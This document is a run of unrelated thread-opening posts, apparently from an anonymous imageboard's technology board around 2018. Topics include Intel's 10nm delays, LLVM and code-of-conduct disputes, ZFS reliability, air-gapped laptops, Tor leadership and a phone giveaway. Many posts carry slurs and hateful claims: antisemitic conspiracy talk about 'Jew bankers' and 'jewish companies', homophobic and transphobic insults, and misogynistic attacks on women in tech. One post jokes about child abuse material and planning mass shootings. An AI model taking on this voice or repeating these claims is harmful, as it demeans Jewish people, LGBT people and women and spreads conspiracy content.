The next step is to have the AI mimic your voice and make weird calls to your contacts.

Source: https://ai.googleblog.com/2018/05/duplex-ai-system-for-natural-conversation.html

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I'm gonna try reality OS

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Software engineers

How come so many software "engineers" suck at their job? How do they get their jobs? How come no one fires them?

Why are so many programmers so fucking bad?

How can all of this sustain itself?

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whats the best windows manager and why?

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Intel's 10nm processor development encounters more roadblocks, delayed into 2019



>We continue to make progress on our 10-nanometer process. We are shipping in low volume and yields are improving, but the rate of improvement is slower than we anticipated. As a result, volume production is moving from the second half of 2018 into 2019. We understand the yield issues and have defined improvements for them, but they will take time to implement and qualify. We have leadership products on the roadmap that continue to take advantage of 14-nanometer, with Whiskey Lake for clients and Cascade Lake for the data center coming later this year.

Will the defection of Jim Keller to Intel mitigate the 10nm problem?

>This was likely a move to assure investors that the 10nm production issues have Intel's full attention.

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Identifying Original Images

Is there a reliable means to identify the original (or most original) image out of a collection of visually identical images?

Take this Google search as an example:


The same image is available in so many different dimensions, but only one is the original image (or at least as close to the original as you'll get).

You can obviously zoom in for a close inspection and rule out images with visible artifacting, but that can be quite tedious. A sure-fire way is to eliminate images with watermarks or where obvious cropping exists in comparison to other images.

Still, seems like there is a more reliable means to identify originals that doesn't involve painstaking inspection with the naked eye.

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Women in Tech


Why do women ruin everything they touch? This is opportunism at its finest.

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Improving /tech/ with the js jew

Would it be possible to implement some js here to detect user agents, and kick off anyone using a non-free operating system?

I'm unfamiliar with both 8ch board operation and javascript so my apologies if this is a stupid question, but it seems to be possible according to http://oxwugzccvk3dk6tj.onion/tech/res/802384.html

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How much would it cost and how hard would it be to make pic related and set it up somewhere in public?


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Free Online Education Support

One of the problems I have with MOOCs is the lack of a community. Each course tries to cultivate it's own community, but ultimately fails because there are so many other MOOCs available, and additionally so many different platforms to discuss this on.

The same state of affairs can be said to apply to textbooks, though this situation is even worse for a self learner looking for a community and for any question or confusion one encounters, one must post on any or all of the following: IRC, StackExchange, a subplebbit, a relevant thread on /sci/, etc..

Further, there is often no one to simply discuss material with casually as you would in a classroom or with a "study buddy". Sure, there are corners of the internet dedicated to discussing a particular book, but they are all dead or dying quickly. On a larger scale, I don't know of a project that finds a /comfy/ solution to this problem.

So, my question is, am I mistaken, or is the current state of affairs? It is by no means terrible, but it could certainly be improved. I'm considering trying to develop something using projects like Matrix, GiTea and KeyBase that can dynamically generate 'classrooms' for people depending on the topics their studying and the resources their using for studying said topics, and allow them to colloborate on projects while being somewhat resource agnostic (it can then connect someone learning from EdX to someone learning from Coursera into one community). I lack a lot of skills, but if nothing similar exist, it'd be a project I'd use at least.

Thanks for reading, pls reply.

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can i trust cloudflare dns?

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When is protonmail going to have a default setting for expiration time? ffs I don't want all my emails trading child photography, plotting to bomb the us Government, ordering forged documents, denying the holy hoax, planning attacks on rapefugees centers, and coordinating the next mass shooting with Samuel El Hyede to be sticking around forever.

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Stop using harmful software.

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One Of LLVM's Top Contributors Quits Development Over CoC, Outreach Program

>Rafael Avila de Espindola is the fifth most active contributor to LLVM with more than 4,300 commits since 2006, but now he has decided to part ways with the project. Rafael posted a rather lengthy mailing list message to fellow LLVM developers today entitled I am leaving llvm.

>He says the reason for abandoning LLVM development after 12 years is due to changes in the community. In particular, the "social injustice" brought on the organization's new LLVM Code of Conduct and its decision to participate in this year's Outreachy program to encourage women and other minority groups to get involved with free software development.

>In part he wrote:

The reason for me leaving are the changes in the community. The current license change discussions unfortunately bring to memory the fsf politics when I was working on gcc. That would still not be sufficient reason to leave. As with the code, llvm will still have the best license and if the only community change was the handling of the license change I would probably keep going.
The community change I cannot take is how the social injustice movement has permeated it. When I joined llvm no one asked or cared about my religion or political view. We all seemed committed to just writing a good compiler framework.

>Espindola was one of the most prolific LLVM contributors. Of the 900+ authors to LLVM, Rafael was the fifth most contributor to LLVM by commit count with 4,344 commits (2.65% of all commits0 and in the process added 157,679 lines of code. He had been contributing since 14 May 2006 and was many times the most active LLVM contributor in a given month while working for the likes of Google and Mozilla. In fact, for 2013 through 2015 he was the most active author each year. His contributions will certainly be missed.




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Why does it seem that BSD users are all complete faggots? Even more proportionately than many GNU/Linux users? I think it has to do with how institutionally tied to Silicon Valley it is. Anyone have experience with this? I'm proud that I wasn't using FreeBSD when they cucked the CoC in the last couple of months. It's embarrassing to watch as an onlooker.

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Do anyone use airgap here to protect their data?

I plan to buy a cheap thinkpad and remove anything that could connect it to the external world.

The best setup would be a full encrypted drive, with an usb key that would unencrypt before calling grub.

Airgap must be, from my point of view, the easiest way to protect your data.

Obviously, there is elaborate attack that can break airgap, but I don't think that they're a problem if you're just a "journalist" doing some sensible work without even publishing.


Here, the two major problems that can occur, is physical access (but that's for everything), and, well, the media you're gonna use to make exchange between your setup and your airgap.

What would be the best medium to move your data? USB key? CD? SD card in read only mode?

What do you think about airgap for protecting your data, like bank account information, documents, "journalist" research etc..?


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There is no need for any e-book format besides pdf, prove me wrong.

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Tech Inspirations

Besides Stallman, who inspires you the most of the major developers out there?

I personally like Brendan Eich. He stole the idea of Mosaic from the University of Illinois and created Mozilla as the "Mo[saic K]illa" that would eventually evolve into Netscape. If I recall correctly, mozilla.org was originally registered under his name and he did much of the basic groundwork programming. Mozilla was one of the first companies to release their source code as Open Source that attracted mass media attention. He would later develop JavaScript in a matter of two weeks in order to apply LISP/Scheme programming concepts to the burgeoning Java environment. The development of JS, a major backbone of modern internet applications, in such a short period of time is probably what he is best known for.

Recently, he was fired as the CEO of Mozilla because he donated $1000 to a political compaign that opposed gay marriage in California. He didn't use Mozilla funds but donated completely separately as a private citizen, but opponents at Mozilla used it against him for political reasons and pushed him out of the company. Cast out from the company that he created from the ground up, he created Brave Software. They have recently created the Brave browser which pretty much aims to undo all the harm that Javascript has created on the internet over the years. In a sense, Eich is making up for the horrors that his own creation wreaked on the internet.

How about you? Who inspires you?

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A Trip Back to 2010...

So I recently got an original iPad for free, and I just want to say, its incredible how far mobile devices have come in the past 8 years. But after jailbreaking it and adding some tweaks like true windowed multitasking, I think it also goes to show how damn robust old iOS version were. Not sure about new iOS versions because the last iShit I ever owned was an iPhone 4. Adding windowed multitasking for example, was a tweak of just a few hundred kilobytes. What fascinates me is how limited the virtual memory system used is. There's no swap/page files/partitions as far as I can tell, Apples documentation tells me its all done by the kernel and the main partition is used for offloading cache. The reason I find this so fascinating is because the whole OS seems to optimized for the little memory it has, only 256MBs of DDR memory. And writes to the early and less robust NAND flash also has to be kept at a minimum, otherwise it would be dead by now. iOS will simply shut down any application that uses too much memory in such a way that interface responsiveness is not compromised in any way, let alone keeping important process memory available. Too much memory gets used by an application? iOS just kills it before it can slow everything down. This may sound horrible, but it never happens unless I am blatantly trying by using more browser tabs than Safari can at stock while running 3D apps. Its the level of optimization you just don't see today. The only things compromising usability with this thing is the lack of upload support (and the fact no Safari upload tweak works for me) and that's it. Even Jewtube videos work through Hooktube. This device is NOT y2038 compliant, but that doesn't really matter since few standard apps rely that much on keeping time past a certain point. https websites will fail but that's it. Its a lost art man

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Child abuse imagery ‘found within Bitcoin’s blockchain’

>Child abuse imagery has been detected in Bitcoin’s blockchain, according to a new study. The discovery potentially puts cryptocurrency users at risk, as anyone who downloads a blockchain could be held liable for illegal content.

>Researchers from RWTH Aachen University in Germany and the Data Protection Research Institute at Goethe University in Frankfurt found 1600 files, including texts and images, on blockchain. Among the data were instances of illegal pornography and serious privacy violations, the team says.

There goes your coins. NSA niggers at the behest of Jew bankers have been working hard to end the small success they had, but I must admit, that's a clever way to render it illegal and verboten in the minds of the general public.


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TL;DR: Plagiarizing bitches win 4 grand simply for being female coders. Feminism wins, once again.


My team and I went to a hackathon two days ago called "EarthxHack". We, along with every other honest team, spent the last 24 hours without sleep programming our application in the hope of winning or at least placing in the top 3 at the hackathon. It turned out that the team who won was an all girls team. Their idea, frankly, was very lacking compared to any other idea.

On top of this, they did not program anything whatsoever. Rather, they made a bare-bones powerpoint presentation that presented their "idea". Their "code" that they were talking about in the submission was merely another individual's project that was copied off of GitHub. They didn't take any effort to make this copy of the code believable. They didn't change up the code at all, and they didn't even try to change the name of the author. They straight up just forked the GitHub repository and called it their own. They blatantly disregarded the rules of the hackathon, yet the judges gave no effort to verify that the rules were followed and just gave the all-girls team 1st place along with $4,000 because, surprise, they were girls... "females in STEM" I guess.

So much for gender equality.

Submission: https://archive.fo/lNJQV

"Their code" (Notice how the last edit on even the latest file was from 9 days ago, which an entire week before this hackathon was held.): https://archive.fo/XvNwC

Rules of the Hackathon (Notice rule 3, "You must create everything at the event". The girls didn't even create anything in the first place.): https://archive.fo/O6vjK

The discussion forum that was talking about this was deleted by admins: https://archive.fo/btfV6

The person who started the discussion forum for this at Devpost was blocked from the hackathon by the admins.

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My display is using my CPU instead of GPU, how do I change this? Nvidia control panel doesn't seem to work, I tried checking 'Dedicate to PhysX' and apply but doesn't seem to work also.

Pic related: https://my.mixtape.moe/godlfx.png

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what about this?

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>he's not running a mathematically proven-correct, secure microkernel

rofl. You're fucking shit.



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Does /tech/ have any paid email service recommendations if one wishes to break away from the corporate data mining bullshit or is rolling your own server pretty much the only way to go now?

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Free Online Virtual Machine

Hi /tech/. I'm searching for an online free virtual machine service. It can be some of those that offers a X days trial or something, I just need these pre-requisites:

- Doesn't ask for credit card info (like AWS/koding)

- Have an public IP address for setting up a server

- Linux VM

Does the internet have such a service to offer? Please help

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Ergonomics/avoiding RSI

Ergonomics - is it placebo...? The following is what I've tried:

- Trackball mouse

- Vertical mouse

- Blues

- Trackpoint (duh)

- Ergonomic chair

- Switching to DVORAK

Of those, I recommend the last two. I know the studies on DVORAK are inconclusive, but less finger travel is a real boon.

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BetaNews Giveaway: Win a Huawei Mate 10 Pro in time for Mother's Day

By Brian Fagioli

While many companies seem to focus on a race to the bottom these days, offering low-cost and low-quality devices, Huawei has taken a much different approach. You see, Huawei makes extremely elegant tech products that are also affordable. If you buy one of its tablets, laptops, or smartphones, you will be in for a treat. They are well-designed and won't break the bank. Quite frankly, you can tell the company truly cares about what it produces -- Huawei wants its customers to be delighted, and it succeeds.

The Huawei Mate 10 Pro is a favorite of mine. I have been testing the Android smartphone recently and I am very impressed by the build quality, performance, and exceptional camera. With Mother's Day soon approaching, it's definitely a device you should consider buying for your mom. If she has been wanting a new smartphone, the Mate 10 Pro will make her very happy. If you can't afford a new smartphone for your mother this year, do not worry -- we here at BetaNews are giving one away!

Of course, we can't force you to give the Huawei Mate 10 Pro to your mom. If you win, you can keep it for yourself or give it to someone else -- wife, cousin, friend -- whomever you'd like. Heck, Father's Day is next month, so you could give it to your dad too.

The prize is a brand-new titanium gray Huawei Mate 10 Pro. You can see some of the significant specifications below.

Display: 6.0-inch HUAWEI FullView 18:9 OLED

CPU: HUAWEI Kirin 970 Octa-core CPU


Storage: 128GB

Rear camera: 20MP with Optical image stablization

Front camera: 8MP

Durability: Rated IP67

Battery: 4000 mAh

Connectivity and charging: USB-C

Operating system: Android 8.0

The winner will be picked on May 12 -- the day before Mother's Day. If you are selected, we will email you, so be sure to enter a valid email address. Winners will have 3 calendar days to reply, and if they fail to do so, they forfeit their eligibility and we will choose someone else. You can enter multiple times by selecting all of the methods listed below.

Please note: The prize can only be shipped within the contiguous United States. If you do not have such an address, you will be deemed ineligible to win.


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systemd lulz

Make sure to "misspell" systemD as "SYSTEMD" or "SystemD".

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Is ZFS a meme? Does this shit work? I'm considering using this, instead of ext4 with journaled data (100% write penalty).

I benchmarked it vs raid10,far 2, with two disks, and it's okay I guess. raid10,far2 gives Nx read speed, for 2 drives, 2x read speed, with 1x write. ZFS is only giving about 1x read in mirrored mode. Maybe with 100 threads hitting it the total throughput would increase some. I can deal with the reduced read speed, in exchange for all the data consistency checks, but this means nothing if the system is going to crash at any moment, or the next time a new ZFS update comes out or the next time a new kernel update comes out.

Is this reliable enough for production? Is bit rot paranoia overblown? I think journaled data ext4 should take care of problems if the system crashes or the power goes out with no ups, but it does nothing for bit rot, neither does raid unless your using a mode with parity disks.

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How do you take care of your eyes?

In the last few years I have been feeling the ravages of a view affected by the light emitted from a computer screen

How you take care of your eyes?

Do you have some kind of treatment?

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Announcing Tor’s Next Executive Director: Isabela Bagueros



Shari announced her retirement from the Tor Project at the end of February, and the search for our next Executive Director is already over. We're thrilled to announce our next ED, Isabela Bagueros.

Isa joined the Tor Project as Project Manager in 2015 and has led teams in collaborative strategy building and roadmapping unprecedented at the organization. She also leads Tor’s UX team in implementing critical usability improvements and is leading an overhaul of Tor’s website.

“Isa’s contributions to Tor are too many to name here,” said Shari Steele, Tor’s current Executive Director who was brought on in 2015 to make the organization more operationally sound. “She brings global experience and perspective to privacy and censorship issues, and I could not be more confident in her ability to lead the organization into its next phase of growth and sustainability.”

Thinking of the user first has always been a priority for Isa, and during her three years with the organization, the scope of her vision for Tor has expanded to include the health of the organization and network. “I think any person on the planet should have access to the Tor network and enjoy the privacy and security it provides,” said Isa. “That means we need a healthy and scalable network and a strong and diverse organization to support that. I’m looking forward to seeing Tor gain global recognition for the privacy protections and censorship circumvention it provides.”

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Would a non-botnet self hosted geo location service be possible? For example if somone is afraid of losing their laptop and doesn't want to depend on a botnet service to track where it is, couldn't we write a program that can do that in a self hosted manner? Keep track of the location of your device on your server at home? Perhaps be able to request your laptop's current location by sending it an XMPP request by an authorized user?

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>want to mitigate privacy fails made on google & friends

>change my country from US to Germany a week before requesting data/account deletion so that EU regulations apply and they might actually delete it

will it work?

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qt creator

is this the pinnacle of IDEs?


>has all the features that peasant editors need to manually add via plugins

>integrated debugger

vim/emacs/othershit BTFO

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Is clover OS any good?

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One of my laptops has a broken keyboard and I have no idea how to fix it (I've tried and failed). I'm going to bring it to a tech shop tomorrow but I'm worried they'll look through my porn collection. There's nothing too illegal in it but you know how moralfags are. The hard-disk is encrypted anyway, will that be enough to keep me safe?

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Anybody take an interest in greasemonkey? I played around with it for a while in the past but the lack of intellisense and error detecting makes it unusable to me now.

>make mistake

>it just doesn't run

>have to figure out where you fucked up manually

Would be nice if I could open up a greasemonkey file in an IDE that doesn't suck and work on it there.

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Will we ever get to see any ZOGtopian prison city megastructures finish construction prior to the end of the current century /tech/?

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Waterfox no longer respects your privacy!



Time to switch?

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we need to embrace Anti-consumerism

-do not buy newest jewish stuff (cpu's, gpu's, laptops etc)

-keep using old hardware as long as possible

-if something is broken, fix it. that's the real ecology

-if you need some small gadgets and stuff for occasional use, buy cheapest chinese shit instead of expensive brands

-buy second hand items. and sell them to someone if you don't need them anymore

-boycott evil jewish companies with anti-consumer behaviour (Intel, AMD, Nvidia, ARM)

-do not fall into jewish memes and traps (muh outdated, muh support, muh DirectX 20, muh TripleHD)

-promote anti-consumerism to all people you know

the jewish parasites cannot live without money, that's their fuel. without it, they will die off

post more tips


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Furfags deliberately crashing

>Be me, several months ago

>Quantum gets forced upon everybody, all my addons I spent years fine-tuning are deleted and destroyed in a heartbeat

>Uninstall FF

>Find last version before Quantum due to Downthemall being an incredibly useful extension, installed it and removed everything that dealt with updates

>Even now I still get periodic reminders that it's critically out of date

>After a couple months the browser begins to a crash at an ever-increasing rate

>No rhyme or reason, sometimes it just blows up after idling on the same page for a few minutes

The only conclusion I can draw is that Mozilla programs FF to crash itself once it realizes it's no longer the newest version as a scare tactic to get people to move on to the next one. I refuse to believe it's anything that I'm doing, given that most of the time it crashes for seemingly no reason. Anyone have a similar experience or can confirm whether my suspicions are indeed the case?

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seL4 will be ported to RISC-V!

Port just started and as such is very limited, but they're actually doing it! seL4 on RISC-V!

These are two of my most favoritest developing projects. Once seL4's Risc-V port is solid, things should be looking up. Genode apparently has been progressing well lately, so as it keeps going we should end up with a usable userland. Then there's stuff like lowRISC we're still waiting for and I really hope are good. Plus any other RISC-V hardware that gets announced in future.

We could eventually have a viable secure microkernel OS running on the least-pozzed architecture we've ever had.

OwO I can't wait to see what happens!

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When will Zi come out??

From https://www.gnu.org/software/zile/

>GNU Zile is a text editor development kit, so that you can (relatively) quickly develop your own ideal text editor without reinventing the wheel for many of the common algorithms and data-structures needed to do so.

>It comes with an example implementation of a lightweight Emacs clone, called Zemacs. Every Emacs user should feel at home with Zemacs. Zemacs is aimed at small footprint systems and quick editing sessions (it starts up and shuts down instantly).

>More editors implemented over the Zile frameworks are forthcoming as the data-structures and interfaces improve: Zz an emacs inspired editor using Lua as an extension language; Zee a minimalist non-modal editor; Zi a lightweight vi clone; and more...

>Zi a lightweight vi clone

uwu when is this gonna happen? I want my comfy lightweight editor!


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>be me

>gf asks me to hack her Harry Potter game on phone so she has all the rubbies in the game and doesn't have to wait for rest

>basic base64 encryption

>decompress the zlib file

>what is this?

>turns out the game changes genders and skin colors depending on player choices and geolocation

what do?

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Trannies in tech

Why are there so many of them? They're even uglier than regular faggots. This perplexes me. Does it have to do with transhumanism or body modification? Honestly, I'm curious at this point.

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Optimizing an underperforming DSL line

I've been getting shit adsl performance lately, very bad SNRs and 20 db attentuation even though I literally live 50 meters from the DSLAM, I've narrowed down the potential causes to a badly connected line probably outside my house, I already have an ADSL splitter in place, no use.

Is there anything I can check for inside or outside? How can I end my suffering without reaching for the noose?

PS- ISP is useless and gay, and no I can't change them.

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God, /tech/ fucking sucks. No way has it ever been this bsd...

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Alternatives to Netflix

>A friend once asked me to watch a video with her that she was going to display on her computer using Netflix.

>I declined, saying that Netflix was such a threat to freedom that I felt uncomfortable with legitimizing it in this way.

Are there any good and free alternatives to Netflix?

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hearing aid

tl;dr my dad is broke and almost deaf, hearing aids are expencive as shit so i was thinking about making him a pair myself.

>inb4 stop being poor

i found a DSP for it, the RHYTHM SB3231 from On Semi.


the diagram doesn't look too complicated but the website is messy and i can't find the programing software for it.

does any of you have some experience with it ?

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Terry A. Davis:

Hobo Edition

Latest news:

>currently in San Diego

>disability check has been blocked by Terry's family

>streaming daily on https://www.youtube.com/channel/UCJZTn-fPu-uIA55UI47_cXg

Old thread: https://archive.fo/acSYN

Terry's archive: https://archive.org/download/TerryADavis_TempleOS_Archive/

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Daily reminder that people like this exist


>I responded to another uninformed individual on the interwebs earlier, who had a similar mindset. To save myself some time, I'm just going to copy/paste what I wrote him for your benefit:

>I don't have a GSYNC monitor yet. But I will be picking up the new 144Hz 1440p IPS GSYNC monitor from Acer. I was going to get the ROG Swift but didn't want to settle for a TN panel. GSYNC and the accompanying ULMB tech is absolutely amazing.

>Secondly...your statement is utterly idiotic. You said you will buy the better product, in your price range. 2 things. You have no idea what FreeSync would cost. You're assuming there is no cost associated with the custom asic scaler and design modification required. Any manufacturer that implements FreeSync is going to incur additional costs, and is also guaranteed to have a markup because business and economics, and also because FreeSync is ONLY supported by AMD, and only on some of their cards. Intel and Nvidia have not signed on to support it. So anyone that puts the money into developing and manufacturing these monitors will require an even higher manufacturer markup than the competing GSYNC monitors due to much lower potential "FreeSync" customer base. If Intel signs on to FreeSync, then we can re-evaluate this argument. But for now, this is economics 101.

>So you're bashing an existing technology, by comparing it to a not-yet-public technology, without knowing how the 2 compare (for example, there will be no ULMB or 3D Vision support for FreeSync), and without even knowing the price difference between the two. You're making an uninformed assumption, and making a complete judgment based on it. And that is wrong. AMD has Nvidia beat in one aspect of the GSYNC/FreeSync wars, and that is in naming theirs FreeSync, making people think it's actually free. And making people think it is exactly like/has all the features of GSYNC (which it is/does not). That's actually an impressive marketing win, when you consider the number of people such as yourself who've been confused to the point that you think Nvidia shouldn't charge money for taking a risk on R&D and creating custom boards and technology (which is something the manufacturer would normally have to do), and also for thinking manufacturers like to go to extra lengths to add premium niche features at a cost, without adding their own substantial markup. And at the same time...not realizing that monitor manufacturers will have to create a special asic scaler to be able to able to add FreeSync. And they're doing all of that for what...AMD? The company that is only getting 30% of current desktop GPU sales?

>When calculating R&D recovery costs, it is based off of expected sales volume. Since the expected sales of FreeSync are lower, due to fewer people being able to use it, they have to start off with a higher markup to recoup the additional costs of the hardware and also the implementation in design of FreeSync. And seeing that AMD owners are usually "value shoppers" they may find it harder to justify paying extra for FreeSync if it turns out, for example, that GSYNC has a total premium of $200, and FreeSync still has a premium of $120 (this would of course also include the fact that FreeSync does not include ULMB, which could be added separately, but which is then even more costs that would align it even more closely with GSYNC prices).

>BOTTOM LINE: Thinking FreeSync will end up being Free or almost Free, is foolhardy. As with everything in life...you get what you pay for. FreeSync *can be* (but not necessarily will be) more successful in the non-enthusiast/non-gamer market. But considering the forum we're on, and the monitors and price ranges we are discussing, whether you pay $800 for the GSYNC version or $700 for the FreeSync version without ULMB (best case scenario on pricing...but I doubt it'll vary that much), we're not talking about enough of a difference to forego certain features. FreeSync is simply intended to not leave AMD in the dust with no adaptive sync options. Because that would lead to even more AMD users jumping ship to Nvidia, and that reduction in competition would be bad for everybody.


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I have created a temporary email address send me anything.


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Embedded systems of critical importance

Is software running medical appliances written in a sane, sensible fashion these days /tech/?

I'd expect it to but seeing the previously high standards of embedded systems among western militaries crash with no survivors in recent years makes me worried.

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Ubuntu 18.04 LTS is now available!

>Ubuntu 18.04 LTS is now available! https://www.ubuntu.com/download

What are your thoughts fellow /tech/-anons? Yay or nay? I will install Ubuntu Mate version after a few days of testing. I'm currently on UM 16.04 and love it.

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Whatsapp founders cash out stock, leave Facebook

>the move came as a result of Koum's disagreements with "Facebook's attempts to use [WhatsApp]'s personal data and weaken its encryption."

Use WhatsApp they said, it has Signal encryption they said...